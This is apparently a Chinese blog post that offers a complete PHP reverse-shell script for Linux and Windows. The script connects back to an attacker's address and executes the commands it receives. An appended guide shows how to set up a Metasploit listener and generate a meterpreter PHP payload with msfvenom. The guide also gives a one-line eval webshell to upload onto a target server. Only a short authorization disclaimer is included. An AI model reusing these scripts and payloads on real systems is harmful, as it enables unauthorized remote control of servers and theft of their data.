PHP反弹Cmd/Shell 脚本

本文提供了一种在Linux和Windows平台上实现Shell反弹的方法,通过PHP脚本与远程服务器建立连接,接收并执行命令,适用于当常规反弹手段受限的情况。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

遇到大马无法反弹时可以试试,linux,windows均可反弹

<?php 

error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = 'xxx.xxx.xxx.xxx';
$port = '443';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
    $env = array('path' => 'c:\\windows\\system32');
} else {
    $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}


if(function_exists('fsockopen')) {
    $sock = fsockopen($ipaddr,$port);
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                fwrite($sock,$msg);
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                fwrite($sock,$msg);
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    fclose($sock);
} else {
    $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_connect($sock,$ipaddr,$port);
    socket_write($sock,$msg);
    fwrite($sock,$msg);
    while ($cmd = socket_read($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    socket_close($sock);
}
?>
### 使用 Metasploit 框架生成反弹 Shell 的配置说明 #### 配置目标 为了实现从目标主机到攻击者机器的反弹 Shell 连接,可以使用 Metasploit 提供的强大功能。以下是基于 Metasploit 框架生成反弹 Shell 的具体操作流程。 --- #### 准备工作 1. **启动 Docker 容器** 如果尚未运行 `remnux/metasploit` 容器,则可以通过以下命令启动容器并进入其交互模式[^1]: ```bash docker run -it --rm remnux/metasploit /bin/bash ``` 2. **加载 Metasploit 控制台** 在容器内部执行以下命令以启动 Metasploit Framework 控制台: ```bash msfconsole ``` --- #### 创建反弹 Shell 的步骤 ##### 1. 设置监听模块 在 Metasploit 中,选择适合的监听模块用于接收来自目标系统的连接请求。通常使用的模块为 `multi/handler`。 ```plaintext use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp ``` 上述命令选择了适用于 Windows 系统的目标负载(payload),支持 TCP 协议的反向 Meterpreter Shell[^3]。 ##### 2. 配置参数 设置必要的选项以便成功建立通信链路: - LHOST (本地 IP 地址): 攻击者的公网或局域网地址; - LPORT (端口号): 自定义开放端口,默认可设为 4444; 示例代码如下所示: ```plaintext set LHOST <your_local_ip> set LPORT 4444 exploit -j -z ``` 此处 `-j` 参数表示后台运行作业,而 `-z` 则让程序不阻塞当前会话继续其他任务处理[^2]。 ##### 3. 构建有效载荷 利用 Msfpayload 工具生成可用于部署于受害设备上的恶意软件样本文件。这里我们采用 Ruby 脚本来演示如何创建自定义 PHP Webshell 实现远程访问目的: ```ruby file = File.open("/tmp/shell.php", "w") file.puts("<?php @eval($_POST['cmd']);?>") file.close() print_good("PHP webshell has been created at /tmp/shell.php.") ``` 或者直接调用内置命令快速完成相同效果的操作过程: ```plaintext msfvenom -p php/meterpreter_reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f raw > shell.php ``` 最后一步就是把生成好的脚本上传至服务器相应位置等待触发条件满足即可获得完全控制权。 --- ### 注意事项 - 确保防火墙规则允许指定端口的数据流入流出。 - 测试环境应严格隔离真实网络以防意外扩散风险。 - 所有活动均需得到合法授权方可实施。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值